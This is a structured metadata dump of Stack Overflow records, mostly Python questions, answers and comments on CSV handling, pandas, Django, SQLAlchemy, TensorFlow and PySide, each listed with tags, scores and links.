has text: Dear Graham, I am using full path , there is no doubt. Problem is related to permission for 'apache' user which run myscript. I create user called 'scriptor' and group called 'web' and then I add scriptor and apache users to web group. Then I create file with scriptor and its chown is sccriptor:web. Considering that this users are on the same group apache user should write to this file but Permission Error rised.
comment on: http://stackoverflow.com/q/47010871
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47031552
has comment: http://stackoverflow.com/comment/81009584
has answer: http://stackoverflow.com/a/47031658
favorite count: 0
type: Question
has title: How to access local variable of function from others in Python 3?
tagged with: python-3.5
tagged with: function
upvote count: 0
downvote count: 2
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81009453
has comment: http://stackoverflow.com/comment/81009471
type: AnsweredQuestion
has body: def add(): x = input ("Please Enter Your Name: ") y = input ("Are you Male or Female (M/F): ") def newname(): add() newname() I want to have access on access on both variables i.e. "x" and "y" of add() fucntion on newname() function. How Can I do it, I am unable to do it with "global" as well?
accepted answer: http://stackoverflow.com/a/47031658
score: -2

http://stackoverflow.com/q/46964609
has answer: http://stackoverflow.com/a/46966001
linked to: http://stackoverflow.com/q/28813876
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80877185
has body: I have parent-child data in a CSV, and I need to convert the hierarchy to an XML file with Python. I've searched everywhere but most solutions involve JSON or JavaScript, and aren't directly relevant to my issue. If you know about an answer I missed, please link me! Example CSV data: species, species_code, group, group_code mammals, 00, animals, 0, bears, 01, mammals, 00 horses, 02, mammals,00, cats, 03, mammals, 00, polar bear, 011, bears, 01, grizzly bear, 012, bears, 01, palomino, 021, horses, 02, bengal tiger, 031, cats, 03, cougar, 032, cats, 03, lynx, 033, cats, 03 canada_lynx, 0331, lynx, 033 This data should be transformed into an XML, with parent and child groups arranged like this: animals <group_code> 0 </group_code> mammals <species_code > 00 </species_code> mammals <group_code > 00 </group_code> bears <species_code> 01 </species_code> horses <species_code> 02 </species_code> cats <species_code> 03 </species_code> bears <group_code > 01 </group_code> polar_bear <species_code> 011 </species_code> grizzly bear <species_code> 012 </species_code> The pattern should remain consistent for parent-child relationships within the dataset. Thank you so much for any help you can provide. I'm still pretty new at this and appreciate any new knowledge you can provide.
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/80877688
has comment: http://stackoverflow.com/comment/80877139
has comment: http://stackoverflow.com/comment/80877064
has comment: http://stackoverflow.com/comment/80877489
answer count: 1
has comment: http://stackoverflow.com/comment/80877692
downvote count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/xml
type: Question
has title: Python convert CSV data to Hierarchical XML
has comment: http://stackoverflow.com/comment/80896296
tagged with: transformation
type: UnansweredQuestion
upvote count: 0

http://stackoverflow.com/comment/81081263
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47060973
type: Comment
has text: If you're using a virtualenv, have you included this at the beginning of the script? `activator = '{path-to-virtualenv}/bin/activate_this.py'; exec(open(activator).read(), {'__file__': activator})`

http://stackoverflow.com/comment/80874701
has text: Simple - add some tabs!
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46963404
score: 0

http://stackoverflow.com/q/46923253
has title: Why does this python code tell me permission is denied?
possible better answer: http://stackoverflow.com/a/46923400
has body: import subprocess subprocess.call(" python script2.py 1", shell=True) This code does not work. It tells me permission is denied on python. Any fixes?
type: Question
has comment: http://stackoverflow.com/comment/80795557
tagged with: python
has answer: http://stackoverflow.com/a/46923400
accepted answer: http://stackoverflow.com/a/46923836
linked to: http://stackoverflow.com/q/30830642
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80793686
score: 0
has answer: http://stackoverflow.com/a/46923836
answer count: 2
tagged with: subprocess

http://stackoverflow.com/comment/80946319
type: AnswerComment
comment on: http://stackoverflow.com/a/46996136
score: 0
has text: This did not fix the issue. This made it instantly bring out a number and then after 15 digits (including decimal point) it came up with a string error 'if str(pi)[digit] == digitChar: IndexError: string index out of range' bringing out 2 . 0 9 4 0 0 6 0 8 7 0 2 4 7
type: Comment

http://stackoverflow.com/q/47062262
tagged with: python
has answer: http://stackoverflow.com/a/47062412
has title: Dynamically create lists of lists from CSV file data
score: 2
tagged with: list
answer count: 2
upvote count: 2
has body: I have a CSV file that I want am reading as a configuration file to create a list of lists to store data in. The format of my CSV file is: list_name, search_criteria channel1, c1 channel2, c2 channel3, c3 I want to read in the CSV file and dynamically create the list of lists from the list_name data as it could grow and shrink over time and I always want whatever is defined in the CSV file. The list_name in the CSV file is a "prefix" to the list name i want to create dynamically. For example, read in "channel1", "channel2", "channel3" from the csv file and create a lists of lists where "mainList[]" is the core list and contains 3 lists within it named "channel1_channel_list", "channel2_channel_list", "channel3_cannel_list". I realize my naming conventions could be simplified so please disregard. I'll remain once i have a working solution. I will be using the search criteria to populate the lists within mainLists[]. Here is my incomplete code: mainList = [] with open('list_config.csv') as input_file: dictReader = csv.DictReader(input_file) for row in dictReader: listName = row['list_name'] + '_channel_list'
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/81072534
has comment: http://stackoverflow.com/comment/81072633
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47062461
tagged with: http://stackoverflow.com/tag/csv

http://stackoverflow.com/comment/80790530
score: 0
type: QuestionComment
has text: @StefanPochmann I'd use strings as keys, or probably a format other than a list of dicts in the first place.
comment on: http://stackoverflow.com/q/46921443
type: Comment

http://stackoverflow.com/q/47022228
type: AnsweredQuestion
tagged with: odoo
tagged with: odoo-8
has answer: http://stackoverflow.com/a/47023085
has title: Filter Many2one field - Odoo v8
tagged with: python
type: Question
upvote count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/47023085
answer count: 1
has body: I know I can filter Many2one fields, from python code, or even xml views, with the domain flag, but I have a slightly different scenario right now, Consider having a model like this: class MyModel(models.Model): _name = 'mymodel' fieldsel = fields.Selection([('sheet', 'Sheet'),('reel','Reel')], string='Printing PPT Type', track_visibility='onchange', copy=False, help=" ") fieldmany = fields.Many2one('text.paper', string="Text Paper") The text.paper model has another Selection field, which has the same values as fieldsel, however, I cannot use domain since it will filter every text.paper statically. My issue is, that I need to filter text.paper depending on which option I choose from fieldsel, so, let's say text.paper looks something like this: class text_paper(models.Model): _name = 'text.paper' name = fields.Char(string="Code") paper_type = fields.Selection([('sheet', 'Sheet'),('reel','Reel')], string="Paper Type") I need to filter from mymodel the text.paper depending on the fieldsel field, if reel selected, filter text.paper which are reel, and if sheet selected, filter text.paper accordingly. I hope I've explained myself. Any ideas?
favorite count: 0
score: 2

http://stackoverflow.com/comment/80941290
score: 0
has text: Works! Thanks a lot! No idea why my attempts in the comments didn't stumble into that, could've sworn I was committing on the connection. I'll have to examine it carefully now.
comment on: http://stackoverflow.com/a/46997296
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47046442
type: Question
has answer: http://stackoverflow.com/a/50071821
answer count: 2
upvote count: 2
possible better answer: http://stackoverflow.com/a/47046800
downvote count: 0
tagged with: django
has title: Django: Class-based views, URL and template_name
favorite count: 0
accepted answer: http://stackoverflow.com/a/50071821
score: 2
type: AnsweredQuestion
tagged with: django-class-based-views
has answer: http://stackoverflow.com/a/47046800
has comment: http://stackoverflow.com/comment/87160321
has comment: http://stackoverflow.com/comment/81040207
tagged with: python
has body: I am trying to use something like polls:detailin a class-based view, such as this: class QuestionDetail(DetailView): template_name = 'polls:result' However, I get a TemplateDoesNotExist at /polls/2/result polls:result error... The urls.py is: from django.conf.urls import url from polls.views import IndexView, DetailView, ResultsView from . import views app_name = 'polls' urlpatterns = [ url(r'^$', IndexView.as_view(), name='index'), url(r'^(?P&lt;pk&gt;\d+)/$', DetailView.as_view(), name='detail'), url(r'^(?P&lt;pk&gt;\d+)/result$', ResultsView.as_view(), name='result'), url(r'^(?P&lt;pk&gt;\d+)/vote$', views.vote, name='vote'), ] I guess the main question is, how do I use the names of URLs in class-based views, instead of explicitly providing the template name, such as polls/question_results.html? Is there anything other than template_name? I was reading that it's a good practice to use names in URLS so in case the URL itself changes, the rest of the code still works, so that's what I'm trying to do.
has comment: http://stackoverflow.com/comment/87160401

http://stackoverflow.com/comment/80936399
has text: I have an error back: AttributeError: 'int' object has no attribute 'append'
type: Comment
comment on: http://stackoverflow.com/a/46994944
score: 0
type: AnswerComment

http://stackoverflow.com/a/47015826
type: Answer
has body: You could use Counter and defaultdict from collections and count from itertools to make this a little shorter; whether it's clearer depends on how much time you've spent with Python. Patterns like this are used a lot, though, and are worth being familiar with.. (python 3.6 style here, using f-strings) from collections import Counter, defaultdict import itertools seq = ["a", "future_use", "b", "b", "future_use", "c", "future_use"] counts = Counter(seq) suffix_counter = defaultdict(lambda: itertools.count(1)) seq2 = [elem if counts[elem] == 1 else elem + f'_{next(suffix_counter[elem])}' for elem in seq] gives me &gt;&gt;&gt; seq2 ['a', 'future_use_1', 'b_1', 'b_2', 'future_use_2', 'c', 'future_use_3']
upvote count: 6
answers question: http://stackoverflow.com/q/47015416
downvote count: 0
score: 6

http://stackoverflow.com/q/46934135
score: 4
type: AnsweredQuestion
tagged with: bash
tagged with: http://stackoverflow.com/tag/json
answer count: 1
accepted answer: http://stackoverflow.com/a/46934855
tagged with: utf-8
favorite count: 0
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/80815804
has title: JSONDecodeError: Unexpected UTF-8 BOM: Display problems in bash?
downvote count: 0
has comment: http://stackoverflow.com/comment/80817426
tagged with: python
has comment: http://stackoverflow.com/comment/80816766
has body: I want to analyse the text in a .jsonl document (using Python 3). The code I'm running works fine as long as the text is in English, yet for arabic text files I receive the Error message: json.decoder.JSONDecodeError: Unexpected UTF-8 BOM (decode using utf-8-sig): line 1 column 1 (char 0) I read through some threads and figured I might need to decode it which I did adding .decode(utf-8-sig) to json.loads (see code). Doing so, resulted in the following Error message: AttributeError: 'str' object has no attribute 'decode' I also changed the LANG settings to utf8 in ~/.bashrc in case it has sth to do with the bash terminal not being able to display the characters properly but same errors. Here the code and thanks in advance! import sys from collections import Counter import json def get_hashtags(tweet): entities = tweet.get('entities', {}) hashtags = entities.get('hashtags', []) return [tag['text'].lower() for tag in hashtags] if __name__ == '__main__': fname = sys.argv[1] with open(fname, 'r') as f: hashtags = Counter() for line in f: tweet = json.loads(line.decode('utf-8-sig')) hashtags_in_tweet = get_hashtags(tweet) hashtags.update(hashtags_in_tweet) for tag, count in hashtags.most_common(20): print("{}: {}".format(tag, count))
has answer: http://stackoverflow.com/a/46934855

http://stackoverflow.com/a/46930585
answers question: http://stackoverflow.com/q/46930268
has comment: http://stackoverflow.com/comment/80809822
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80810315
has comment: http://stackoverflow.com/comment/80810732
has comment: http://stackoverflow.com/comment/80810113
has comment: http://stackoverflow.com/comment/80810946
has comment: http://stackoverflow.com/comment/80808345
has comment: http://stackoverflow.com/comment/80810270
has comment: http://stackoverflow.com/comment/80808394
score: 5
has comment: http://stackoverflow.com/comment/80810597
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/80810485
has comment: http://stackoverflow.com/comment/80809930
has body: You can use np.tensordot - np.tensordot(A,B,axes=((2),(1))) Related post to understand tensordot. einsum equivalent would be - np.einsum('ijk,lk-&gt;ijl', A, B) We can also use A.dot(B.T), but that would be looping under the hoods. So, might not be the most preferred one, but it's a compact solution,
has comment: http://stackoverflow.com/comment/80808310
accepted answer of: http://stackoverflow.com/q/46930268
has comment: http://stackoverflow.com/comment/80808495
has comment: http://stackoverflow.com/comment/80810230
has comment: http://stackoverflow.com/comment/80810973

http://stackoverflow.com/a/46923786
accepted answer of: http://stackoverflow.com/q/46918589
type: Answer
has comment: http://stackoverflow.com/comment/89284190
has comment: http://stackoverflow.com/comment/80913206
upvote count: 6
type: AcceptedAnswer
downvote count: 0
score: 6
answers question: http://stackoverflow.com/q/46918589
has body: connection has an info dictionary where you can store user-defined data. You can store the comment info in the session, and pass it onto the associated connection via after_begin. Thereafter you can append the comment to the SQL statement prior to execution (as suggested in the other answer). # Our session factory, typically is a scoped session Session = sessionmaker(bind=engine) # Pass `session` contextual info to `connection` @event.listens_for(Session, 'after_begin') def session_on_after_begin(session, transaction, connection): if 'src' in session.info: connection.info['src'] = session.info['src'] # Append comments to statement @event.listens_for(engine, "before_cursor_execute", retval=True) def comment_sql_calls(conn, cursor, statement, parameters, context, executemany): if 'src' in conn.info: statement = statement + " -- %s" % conn.info.pop('src') return statement, parameters class SomeTableCountMetric(object): def __init__(self, session=None): if session is None: session = Session() self.session = session self.session.info['src'] = 'some info' def get(self): return self.session.query(func.count(SomeTable.id)).all() try: qo = SomeTableCountMetric() qo.get() qo.session.close() except: qo.session.rollback()

http://stackoverflow.com/comment/81099007
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47025300
has text: @ElisByberi It won't use too much memory as the dictionary is of size 128 with the values being a list of up to roughly 10 elements. Worst case I'd be storing 1280 references, which is very little memory for the machine in question. That being said - the entries are removed within a couple of seconds of being placed there, so realistically it's never going to even exceed 1000entries. 72kb is perfectly fine. All that being said for my actual implementation I'm referencing named functions, because I actually need significantly more things to be done. This is just a theoretical question :)

http://stackoverflow.com/a/46966580
answers question: http://stackoverflow.com/q/46965755
type: Answer
score: 0
has body: I would recommend creating a virtual environment to create an isolated environment for all the packages in your project. You can create a virtual environment of a specific python version using the following syntax in your shell: $ python3.6 -m venv env One you activate the virtual environment, you can use pip to install packages into your local python instance: $ source env/bin/activate (env) $ pip install awscli Whenever you plan to run your application, or install packages for the project, simply activate the virtual environment. For more information, see the documentation for the venv module in Python's standard library.

http://stackoverflow.com/comment/80858968
has text: Tutorials like this are easily googlable.
comment on: http://stackoverflow.com/q/46909787
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80971852
has text: thank you, I get it. I guess a simple group container will solve this problem
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47012257
type: Comment

http://stackoverflow.com/comment/81044358
has text: If your iterator yields two items, then the length of your sequence is two.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47048561

http://stackoverflow.com/comment/80968098
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46972583
score: 0
has text: @de1 Thanks ! My problem is way more complex (streaming data) and I really need to get the graph as an output of the function.

http://stackoverflow.com/comment/80948203
has text: I already got function if both are present, if not i'm calling this function
comment on: http://stackoverflow.com/q/47000720
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47042129
tagged with: pandas
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81031970
has comment: http://stackoverflow.com/comment/81031396
has comment: http://stackoverflow.com/comment/81031703
has body: Fairly new, trying to figure out why: for index, vendor in enumerate(vendor_file): work_frame = main_frame.loc[main_frame['provider'] == vendor] print(work_frame.values) returns empty BUT: for index, vendor in enumerate(vendor_file): vendor = 'xyz' work_frame = main_frame.loc[main_frame['provider'] == vendor] print(work_frame.values) works as intended. Originally I thought maybe the variable in the loc statement was the problem, but as you can see that works fine. Really at a loss. EDIT: The issue is with this statement: work_frame = main_frame.loc[main_frame['provider'] == vendor] When vendor is assigned from the for loop iterating over a simple text file the response data frame is empty. However, when I assign the vendor variable manually to the first item found in the file the for loop is iterating it works. SOLVED: So I solved it, stupid issue. The text file had \n that I could not see in my inspections(or text editor). It worked when I added this line: vendor = vendor.strip('\n') Final Code: for index, vendor in enumerate(vendor_file): vendor = vendor.strip('\n') work_frame = main_frame[main_frame['provider'] == vendor]
type: Question
has comment: http://stackoverflow.com/comment/81031607
has title: PYTHON Dataframe variable in .loc selector not working as intended
has answer: http://stackoverflow.com/a/47047367
has comment: http://stackoverflow.com/comment/81034011
tagged with: dataframe
has comment: http://stackoverflow.com/comment/81031314
tagged with: python
has comment: http://stackoverflow.com/comment/81034910
has comment: http://stackoverflow.com/comment/81041843
score: 0

http://stackoverflow.com/q/47022070
has answer: http://stackoverflow.com/a/49841608
has answer: http://stackoverflow.com/a/78974064
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/63609319
has answer: http://stackoverflow.com/a/47022213
tagged with: jupyter-notebook
accepted answer: http://stackoverflow.com/a/47022213
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/54655994
downvote count: 0
has answer: http://stackoverflow.com/a/67000583
has title: Display all dataframe columns in a Jupyter Python Notebook
possible better answer: http://stackoverflow.com/a/54655994
favorite count: 0
type: Question
upvote count: 184
score: 184
tagged with: python-3.x
has body: I want to show all columns in a dataframe in a Jupyter Notebook. Jupyter shows some of the columns and adds dots to the last columns like in the following picture: How can I display all columns?
answer count: 8
has answer: http://stackoverflow.com/a/61703755
has answer: http://stackoverflow.com/a/59866006

http://stackoverflow.com/comment/80794703
type: AnswerComment
comment on: http://stackoverflow.com/a/46923836
type: Comment
has text: @burhan Khalid thanks for your update https://docs.python.org/2/library/shlex.html
score: 0

http://stackoverflow.com/comment/80958146
score: 0
has text: @Prometheus Yw~ :-)
type: Comment
comment on: http://stackoverflow.com/a/47005690
type: AnswerComment

http://stackoverflow.com/q/46960499
has comment: http://stackoverflow.com/comment/80868686
tagged with: beautifulsoup
type: Question
has comment: http://stackoverflow.com/comment/80869807
has comment: http://stackoverflow.com/comment/80869190
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/80869184
tagged with: python
has comment: http://stackoverflow.com/comment/80869885
tagged with: text
has body: I try to export the result of what beautifulsoup extracted from the html code of the web page to a text file but I can not, it writes me € XL in the file. I think it should convert the result into readable text but I do not know how. Here is the code: from bs4 import BeautifulSoup from urllib.request import urlopen pageFile = urlopen("exemple of url") pageHtml = pageFile.read() soup = BeautifulSoup(pageHtml,"html.parser") myfile.close() Sdef = soup.findAll('li',class_='exemple_class') len(Sdef) Sdef[0].text Sdef[0].attrs for t in Sdef: print(t.text) with open("output_file","wb") as file: import sys sys.setrecursionlimit(50000) import pickle pickle = pickle.Pickler(file) pickle.dump(t.text)
score: 0
answer count: 0
type: UnansweredQuestion
tagged with: file
has title: How can i get my Beautiful soup output data to a text file?

filesystems
tags question: http://stackoverflow.com/q/46961650
tag name: filesystems
type: Tag

http://stackoverflow.com/comment/80828152
type: Comment
comment on: http://stackoverflow.com/a/46940384
score: 0
type: AnswerComment
has text: Thank you Jean. I understood the mistake. And it works perfectly now!

http://stackoverflow.com/q/46995814
accepted answer: http://stackoverflow.com/a/46995857
has comment: http://stackoverflow.com/comment/80938269
score: -2
answer count: 1
tagged with: python
tagged with: dictionary
tagged with: list-comprehension
has comment: http://stackoverflow.com/comment/80938170
has title: Create a new dictionary comparing to a list in python
type: AnsweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/80938314
has answer: http://stackoverflow.com/a/46995857
has comment: http://stackoverflow.com/comment/80938147
has comment: http://stackoverflow.com/comment/80938221
favorite count: 0
has comment: http://stackoverflow.com/comment/80938241
type: Question
tagged with: python-3.x
upvote count: 0
linked to: http://stackoverflow.com/q/16704782
has body: I have a dictionary. I want to create a new dictionary comparing a list, (my_list) of values to my dictionary's values. My dictionary, code_dict keys and values: 33003282 :['25000', '27800', 'None', '4779'], 33003283: ['2564', '6264', '78784', '7841', '89564'], 33003285: ['32723', '8954', '5259', '5225', '25000','04189', '8820', '2166'] I have my_list like this: my_list = ['27800', '6264', '5225'] Now, I want to compare my list values to Dictionary values and create a new dictionary that has values like this, 33003282 :['25000', 'None', '4779'], 33003283: ['2564','78784', '7841', '89564'], 33003285: ['32723', '8954', '5259', '25000','04189', '8820', '2166'] I did the following in comprehension way hoping that I could do like how we do it in lists: new_dict = {key: value for value in code_dict.items()}.isin([code for code in my_list]) using isin in dictionaries does not work, how can I create a new dictionary?
has comment: http://stackoverflow.com/comment/80938252

http://stackoverflow.com/comment/80912068
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46982173
has text: You mean you are using *objects* of some user-defined type that happens to have the class definition in another file? Yes, that's totally normal. In fact, it almost impossible to do anything useful *without using objects of other types in your class*. I just didn't understand what you meant.

http://stackoverflow.com/comment/80999557
score: 0
type: QuestionComment
has text: I have been explained like 3 times and you never understand. Funny how people dont read my question carefully what I am trying to achieve. I am sure you know what I am trying to do as if I have the `self.channels_index` value as the `self.channel` has got 30 values so I want to fetch `102 BBC Two` from the list. There you go!
type: Comment
comment on: http://stackoverflow.com/q/47025988

http://stackoverflow.com/comment/80945568
has text: @TarunLalwani Change environment variable works, please make it an answer, I will accept it.
type: Comment
comment on: http://stackoverflow.com/q/46911722
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80967946
comment on: http://stackoverflow.com/a/47010651
score: 0
type: AnswerComment
has text: @bruno .. Thanks for the valuable comments. In that case, can you please let me know what I should be doing in order to make sure that the user can only set the value using the setters and not by doing self._firstName. Sorry I have a limited understanding of python.
type: Comment

http://stackoverflow.com/comment/80948500
has text: Try `sudo pip install pkg_resources` or `sudo apt-get install python-pkg_resources`
type: QuestionComment
score: 1
type: Comment
comment on: http://stackoverflow.com/q/46998858

http://stackoverflow.com/comment/80901078
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46976276
score: 0
has text: I know its function there, I have my own way to deal with that, the question is not about this

http://stackoverflow.com/comment/81063564
has text: `np.vstack` uses `[atleast_2d(_m) for _m in tup]`. This makes a new list but the arrays are views if possible. To change a list in-place use `alist[i] = np.reshape(...)`.
type: Comment
comment on: http://stackoverflow.com/q/47057355
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80890418
has text: @Klaas It does not work with every theme, try changing the theme first.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46971402

http://stackoverflow.com/comment/80848676
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/46950280
has text: @Olivia `os.path.join` will automatically take care of adding the separator if it does not exist. If you really want to concat to strings (as opposed to joining file sub paths), then use `+`. Otherwise, to join subpaths, it's considered good practice to use `os.path.join`, and it is portable too.
type: Comment

http://stackoverflow.com/comment/81073363
score: 0
type: Comment
type: AnswerComment
has text: Defining non useful parameters in a function does not make sense to me. I can not find a case to do so.
comment on: http://stackoverflow.com/a/47062197

http://stackoverflow.com/q/46999042
favorite count: 0
type: AnsweredQuestion
tagged with: qgraphicsscene
has answer: http://stackoverflow.com/a/47003881
score: 3
tagged with: pyside
tagged with: python
accepted answer: http://stackoverflow.com/a/47003828
has answer: http://stackoverflow.com/a/47003828
type: Question
has body: I need to create several movable, selectable graphic items. An item stays selected until a different item is selected or until the user clicks an empty part of the scene, deselecting all items. The selected item must look different than the unselected items. Any widget of the main window should be able to query whether a graphic item is selected and--if so--which one. This code permits items to be selected and moved on the screen. The items turn red when moved: import sys from PySide import QtGui, QtCore class MainWindowUi(QtGui.QMainWindow): def __init__(self): QtGui.QMainWindow.__init__(self) self.scene = Scene(0, 0, 300, 300, self) self.view = QtGui.QGraphicsView() self.setCentralWidget(self.view) self.view.setScene(self.scene) self.scene.addItem(Line(25,25,25,50)) self.scene.addItem(Line(30,30,30,70)) self.scene.addItem(Line(35, 40, 35, 65)) class Scene(QtGui.QGraphicsScene): pass class Line(QtGui.QGraphicsLineItem): def __init__(self, *args): QtGui.QGraphicsLineItem.__init__(self) self.setFlag(QtGui.QGraphicsItem.ItemIsMovable, True) self.setFlag(QtGui.QGraphicsItem.ItemIsSelectable, True) self.setPen(QtGui.QPen(QtCore.Qt.black, 3)) def mousePressEvent(self, e): self.setPen(QtGui.QPen(QtCore.Qt.red, 5)) QtGui.QGraphicsLineItem.mousePressEvent(self, e) def mouseReleaseEvent(self, e): self.setPen(QtGui.QPen(QtCore.Qt.black, 3)) QtGui.QGraphicsLineItem.mouseReleaseEvent(self, e) if __name__ == '__main__': a = QtGui.QApplication(sys.argv) m = MainWindowUi() m.show() sys.exit(a.exec_()) Here are my questions: Within Qt, is a graphic item selected when moved and unselected when released? How might a graphic item remain selected after mouse release? For example, should I create a Boolean variable in "Line" called self.selected? How can the application query which graphic item is selected and differentiate between them? For example, should each item in the class "Line" be assigned a unique ID or does Qt already do that?
answer count: 2
possible better answer: http://stackoverflow.com/a/47003881
upvote count: 3
downvote count: 0
has title: Select items in QGraphicsScene using PySide?

http://stackoverflow.com/comment/80977966
comment on: http://stackoverflow.com/q/47015853
has text: You need to declare `global arr` inside the method that uses `arr`.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47019991
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80987375
score: 0
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80986978
accepted answer: http://stackoverflow.com/a/47020255
downvote count: 1
has comment: http://stackoverflow.com/comment/80987056
has title: Reading a csv and looking for strings till it finds a column that is blank
favorite count: 0
tagged with: parsing
type: Question
has answer: http://stackoverflow.com/a/47020255
has body: I have a problem that I can't solve and would like some help. I have a csv file that I need to read in all names in column[1] till it finds a blank, then output that information to a designated csv file with the name of the entry appended to the filename. The format of the csv is: (10-24-17, john). So far i have the following: import csv with open("data.csv") as input: for row in csv.reader(input): data.append((row[0],row[1])) for time, names in data: # I don't think this is the right way of doing things do(stuff)
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/80986890

http://stackoverflow.com/comment/81082960
type: Comment
comment on: http://stackoverflow.com/a/47062621
type: AnswerComment
has text: can you give me example where it fails?
score: 0

http://stackoverflow.com/comment/81113641
type: AnswerComment
has text: because we are not getting expected output
comment on: http://stackoverflow.com/a/47049959
score: 0
type: Comment

http://stackoverflow.com/a/46998322
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/80943279
upvote count: 1
answers question: http://stackoverflow.com/q/46997739
has body: Here is the pandas version where we can do this in a very readable way: import pandas as pd df = pd.read_csv('infile.csv', sep="|") df.iloc[:,:2].to_csv('outfile.csv', sep="|", index=False) The key here is: df.iloc[:,:2] # selects the first two columns Example by creating a file-like object: import io s = u"""A|B|C 1|2|3 4|5|6""" file = io.StringIO(s) import pandas as pd df = pd.read_csv(file, sep="|") output = df.iloc[:,:2].to_csv(sep="|", index=False) print(output) Returns: A|B 1|2 4|5
has comment: http://stackoverflow.com/comment/80943321
score: 1

http://stackoverflow.com/comment/80931817
type: AnswerComment
has text: @CSM then you should probably not close the file, return a reference to open(filename, 'w') and close it only at the end of your processing
type: Comment
comment on: http://stackoverflow.com/a/46986925
score: 0

http://stackoverflow.com/q/47062288
has body: I am attempting to run an AdamOptimizer for one step of training, unsuccesfully. optimizer = tf.train.AdamOptimizer(learning_rate) init = tf.global_variables_initializer() with tf.Session() as sess: sess.run(init) sess.run(optimizer.minimize(cost), feed_dict={X:X_data, Y: Y_data}) The console is spitting an ugly looking error: FailedPreconditionError (see above for traceback): Attempting to use uninitialized value beta1_power [[Node: beta1_power/read = Identity[T=DT_FLOAT, _class=["loc:@W1"], _device="/job:localhost/replica:0/task:0/cpu:0"](beta1_power)]] In the code, cost is a well defined function implementing a conv NN plus a logistic loss function, using two parameters X, Y (the entry of the NN and the training labels respectively) Any ideas on what could possibly be wrong?
answer count: 1
upvote count: 17
score: 17
tagged with: tensorflow
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47062390
tagged with: python
type: AnsweredQuestion
has title: Running Adam Optimizer
accepted answer: http://stackoverflow.com/a/47062390
tagged with: conv-neural-network
downvote count: 0

http://stackoverflow.com/comment/80984184
comment on: http://stackoverflow.com/a/47018775
score: 0
type: Comment
has text: I Fix it, its my mistake
type: AnswerComment

http://stackoverflow.com/a/46917229
has body: Please learn about Comparisons I think this is what you are trying to achieve: percentage = int(input("Please input a number: ")) grade = '' if percentage == 100: grade = "A*" elif percentage == 80: grade = "A" elif percentage == 60: grade = "B" elif percentage == 40: grade = "C" else: grade = "D" print(grade)
score: 0
answers question: http://stackoverflow.com/q/46916739
type: Answer

http://stackoverflow.com/comment/80933750
comment on: http://stackoverflow.com/a/46983804
has text: Hi, Pal thanks for the reply. the command you have mentioned is only giving me back [0],[1] which is the same output i get by calling the 3200 and 3201 separately. My question is what does that D0,D1..... means in that case and how to access them? Thanks
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/90286419
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47779061
has text: Sorry, but I'm just not sure if this works. The indices of the input and output should be identical, which is not true in my test case

http://stackoverflow.com/q/46940809
answer count: 1
tagged with: keyword-argument
has title: Creating a .txt document with **kwargs
downvote count: 1
has comment: http://stackoverflow.com/comment/80828794
favorite count: 0
type: Question
has body: How do I get my **kwargs into my newly created .txt document? def credentials_file(filename, **kwargs): open(filename, "w") for key, value in kwargs.items(): filename.write("{}: {}\n" .format(key, value)) credentials_file("credentials.txt", First_Name="John", Last_Name="Cleese")
has comment: http://stackoverflow.com/comment/80828894
tagged with: python
has answer: http://stackoverflow.com/a/46940850
score: 2
tagged with: python-3.x
upvote count: 3
has comment: http://stackoverflow.com/comment/80828839
type: UnansweredQuestion

databricks
tags question: http://stackoverflow.com/q/46982642
tag name: databricks
type: Tag
tags question: http://stackoverflow.com/q/46943015

http://stackoverflow.com/comment/80804797
score: 0
comment on: http://stackoverflow.com/a/46928897
type: AnswerComment
has text: If you want to use this non-pythonic way, then at least you should not call `max(dct.values())` within the loop, but once before it, then only check for equality in the loop.
type: Comment

http://stackoverflow.com/q/46988489
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/80926063
has comment: http://stackoverflow.com/comment/80925046
upvote count: 2
has comment: http://stackoverflow.com/comment/80924485
downvote count: 0
has comment: http://stackoverflow.com/comment/80923696
tagged with: string
has title: How to find total number of possible combinations for a string?
has comment: http://stackoverflow.com/comment/80923823
has comment: http://stackoverflow.com/comment/80925937
accepted answer: http://stackoverflow.com/a/46989789
favorite count: 0
type: Question
tagged with: python-3.x
